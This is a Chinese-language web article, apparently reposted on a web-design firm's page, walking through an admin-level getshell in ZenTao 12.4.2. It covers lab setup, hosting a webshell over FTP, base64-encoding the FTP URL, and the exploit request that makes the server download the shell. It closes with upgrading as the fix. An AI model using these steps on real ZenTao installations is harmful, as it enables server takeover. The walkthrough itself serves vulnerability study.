从品牌网站建设到网络营销策划,从策略到执行的一站式服务
本篇文章给大家分享的是有关禅道12.4.2后台管理员权限Getshell是怎样的,小编觉得挺实用的,因此分享给大家学习,希望大家阅读完这篇文章后可以有所收获,话不多说,跟着小编一起来看看吧。
站在用户的角度思考问题,与客户深入沟通,找到洋县网站设计与洋县网站推广的解决方案,凭借多年的经验,让设计与互联网技术结合,创造个性化、用户体验好的作品,建站类型包括:网站制作、网站设计、企业官网、英文网站、手机端网站、网站推广、主机域名、雅安服务器托管、企业邮箱。业务覆盖洋县地区。
禅道是一款专业的国产开源研发项目管理软件,集产品管理、项目管理、质量管理、文档管理、组织管理和事务管理于一体,完整覆盖了研发项目管理的核心流程。管理思想基于国际流行的敏捷项目管理方法——Scrum,在遵循其价值观的基础上,结合国内项目研发现状,整合了任务管理、需求管理、Bug管理、用例管理等多种功能,覆盖软件从计划到发布的整个生命周期。
禅道12.4.2版本存在任意文件下载漏洞,该漏洞是因为client类中download方法中过滤不严谨可以使用ftp达成下载文件的目的。且下载文件存储目录可解析php文件,造成getshell。
禅道≤ 12.4.2
phpstudy2018 + 禅道12.4.2 禅道官方下载地址:
https://www.zentao.net/dynamic/zentaopms12.4.2-80263.html
3.1. 下载完成后,放入phpstudy中安装即可
3.2. 检查扩展,要是存在未通过的扩展,在phpstudy中开启扩展即可。
3.3.设置数据库信息,这里设置成自己的数据库配置。
3.4.设置账号安装完成
3.4.利用环境搭建,开启ftp服务,以windows2008R2为例,在添加角色,添加ftp
3.5.然后在Internet信息服务下的网站添加ftp服务。
3.6.根据自己的情况配置,下一步即可
3.7.在ftp目录下放一个webshell然后浏览器查看ftp是否可以正常访问
1.首先把ftp加上shell的路径进行base64编码
加密前: ftp://192.168.3.200/shell.php
加密后: ZnRwJTNBLy8xOTIuMTY4LjMuMjAwL3NoZWxsLnBocA==
2.使用EXP,把加密后的base64放入exp中的<>里
http://127.0.0.1/zentaopms/www/index.php/client-download-1-
3.使用以下链接路径测试是否shell已下载到服务器
http://192.168.3.200/zentaopms/www/data/client/1/shell.php
1、升级到禅道12.4.3及之后的版本
以上就是禅道12.4.2后台管理员权限Getshell是怎样的,小编相信有部分知识点可能是我们日常工作会见到或用到的。希望你能通过这篇文章学到更多知识。更多详情敬请关注创新互联行业资讯频道。
成都网站建设公司地址:成都市青羊区太升南路288号锦天国际A座10层 建设咨询028-86922220
成都快上网科技有限公司-四川网站建设设计公司 | 蜀ICP备19037934号 Copyright 2020,ALL Rights Reserved cdkjz.cn | 成都网站建设 | © Copyright 2020版权所有.
专家团队为您提供成都网站建设,成都网站设计,成都品牌网站设计,成都营销型网站制作等服务,成都建网站就找快上网! | 成都网站建设哪家好? | 网站建设地图